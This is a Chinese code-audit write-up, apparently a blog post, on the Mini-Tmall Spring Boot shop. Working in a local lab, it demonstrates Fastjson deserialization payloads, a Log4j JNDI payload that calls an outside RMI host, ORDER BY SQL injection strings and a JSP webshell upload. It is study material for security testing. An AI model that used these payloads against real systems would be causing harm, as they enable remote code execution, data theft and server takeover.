迷你天猫商城代码审计

准备阶段

迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台
源码地址:
贤趣开发小组/SpringBoot迷你天猫商城(Mini-Tmall)
环境要求:
1、Windows 10系统。
2、Java版本为1.8.0_261
3、Mysql版本为5.7

第三方组件代码审计

项目是基于Maven构建的。对于Maven项目先从pom.xml文件开始审计引入的第三方组件是否存在漏洞版本
本项目引入的组件以及组件版本整理如下。

组件名称组件版本
SpringBoot2.1.6.RELEASE
Fastjson1.2.58
Mysql5.1.47
Druid1.1.19
Taglibs1.2.5
Mybatis3.5.1
Log4j2.10.0

Fastjson审计

Fastjson简述:
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。
两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。
image.png
Fastjson 1.2.58 是存在漏洞版本的 ,存在fastjson反序列化漏洞。
已经发现存在该版本存在漏洞 ,搜索是否代码里面进行了引用调用 JSON.parseObject函数
关注两个函数JSON.parse()JSON.parseObject()
全局搜索两个关键字,
不存在 JSON.parse()
image.png
发现本项目存在JSON.parseObject(),如下图所示:
ProductController.java 文件存在
image.png
进去查看 发现151行,使用JSON.parseObject()方法反序列化了propertyJson参数,
image.png
向上追踪propertyJson参数,该参数是添加产品信息接口中产品属性JSON字段
按住Ctrl键和鼠标左键 点击propertyJson 会跳转到这里
image.png
接口 admin/product
找到了Fastjson反序列化漏洞点 ,然后进行测试
来到后台
image.png
点击添加商品抓包
image.png
可以找到这个数据包,也发现了propertyJson 参数

POST /tmall/admin/product HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 489
sec-ch-ua: 
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:8088
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/tmall/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=86199E468E5D983F3CA9565CE5AC5EA6; username=admin; JSESSIONID=fac8f33e-9d3e-47b3-b8b2-26200090e839; X-Litemall-Admin-Token=fac8f33e-9d3e-47b3-b8b2-26200090e839; sentinel_dashboard_cookie=B0799C8F74C9C557F308EA2756066F6E
Connection: close

product_category_id=1&product_isEnabled=0&product_name=1&product_title=1&product_price=1&product_sale_price=1&propertyJson=%7B%221%22%3A%221%22%2C%222%22%3A%221%22%2C%223%22%3A%221%22%2C%224%22%3A%221%22%2C%225%22%3A%221%22%2C%226%22%3A%221%22%2C%227%22%3A%221%22%2C%228%22%3A%221%22%2C%229%22%3A%221%22%2C%2210%22%3A%221%22%2C%2211%22%3A%221%22%2C%2212%22%3A%221%22%7D&productSingleImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductSinglePicture%2Fb5713846-0c77-4a51-aefc-b72a2fadad26.jpg

把参数替换成 fastjson的payload

{"@type":"java.net.Inet4Address","val":"06mhexrl.eyes.sh"}

image.png
image.png
dnslog收到响应

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
  {{"@type":"java.net.URL","val":"dnslog"}:0

Log4j 审计

pom.xml 引入了log4j
image.png
引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞
漏洞解析:
由于Apache Log4j2某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码。
其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。
该组件漏洞主要发生在引入的log4j-corelog4j-api是不存在该问题的。log4j-core是源码,log4j-api是接口。
漏洞调用点:
全局搜索关键字logger
image.png
image.png
找这种日志记录拼接了变量参数的点
image.png
这个触发点是前台 用户更换头像的filepath处存在log4j
image.png
点击上传抓包
image.png
image.png
image.png
这里是直接把获取原始图片名字可控,拼接上去然后传给filePath 导致下面解析log4j 了
image.png
搜索处也是存在log4j的
image.png
image.png

利用JNDI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

image.png
payload

${jndi:rmi://172.20.10.10:1099/8tbdfm}

image.png
直接弹出计算器
image.png
都可成功执行,但是经过测试只能这个payload

rmi://172.20.10.10:1099/8tbdfm

Mybatis

项目引入的Mybatis版本为3.5.1,该版本存在远程命令执行漏洞
但是由于 未开启二级缓存 。关键条件不成立。(不存在此漏洞)
image.png
三个关键条件:

1、用户启用了内置的二级缓存(默认不开启,需手动配置)
2、用户未设置JEP-290过滤器
3、攻击者找到了一种修改私有Map字段条目的方法,即修改org.apache.ibatis.cache.impl.PerpetualCache.cache有效的缓存密钥

常规漏洞审计

SQL注入

项目使用Mybatis版本为3.5, 查看Myabatis中*.xml文件中是否存在使用$拼接SQL语句的情况。使用$是直接拼接SQL语句的,未进行转义。
全局搜索关键字${
image.png
他这里使用order by的挺多 ,order by 一般不存在过滤和预编译,是大概率存在sql注入的地方
image.png
点击左边那个绿色小箭头跳转到上一级
image.png
使用${包裹的参数是orderUtil
追踪select
image.png
image.png
继续点击getList
image.png
找到传参的那行
image.png
来到这里
image.png
找一下order by 在哪里传参 追踪order by
image.png
接口是

admin/user/{index}/{count}

是查询用户的接口
来到后台
image.png
点击搜索抓包
image.png
存在ordeyby 直接输入很大的数看会不会报错
image.png
输入一百会报错
用延时来判断

orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(3)))test)) sleep 3

image.png
延迟3秒
其他检测方法:

  • ②、利用regexp(正则表达式)
orderBy=(select+1+regexp+if(1=1,1,0x00)) 正常
orderBy=(select+1+regexp+if(1=2,1,0x00)) 错误
  • ③、利用updatexml(更新选定XML片段的内容)
orderBy=updatexml(1,if(1=1,1,user()),1) 正确
orderBy=updatexml(1,if(1=2,1,user()),1) 错误
  • ④、利用extractvalue(从目标XML中返回包含所查询值的字符串)
orderBy=extractvalue(1,if(1=1,1,user())) 正确
orderBy=extractvalue(1,if(1=2,1,user())) 错误
  • ⑤、时间盲注
orderBy=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

使用sqlmap
image.png

文件上传

商城系统,可以发现很多上传文件的地方
一般代码审计文件上传可以搜索以下关键字

File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest

喜欢搜索 file 和 MultipartFile 关键字
image.png
可以看见这里存在上传点
// 上传产品类型图片-ajax 的 接口

  // 上传产品类型图片-ajax
    @ResponseBody
    @RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
    public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
        String originalFileName = file.getOriginalFilename();
        logger.info("获取图片原始文件名:  {}", originalFileName);
        String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
        String fileName = UUID.randomUUID() + extension;
        String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;

        logger.info("文件上传路径:{}", filePath);
        JSONObject object = new JSONObject();
        try {
            logger.info("文件上传中...");
            file.transferTo(new File(filePath));
            logger.info("文件上传完成");
            object.put("success", true);
            object.put("fileName", fileName);
        } catch (IOException e) {
            logger.warn("文件上传失败!");
            e.printStackTrace();
            object.put("success", false);
        }

        return object.toJSONString();
    }
}

可以看见没有任何的过来 直接把文件名随机成为uuid格式的了
测试一下
image.png
上传jsp
image.png
链接shell
image.png
上传成功

XSS这个系统很多地方都存在就不审计了,单纯没过滤。
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值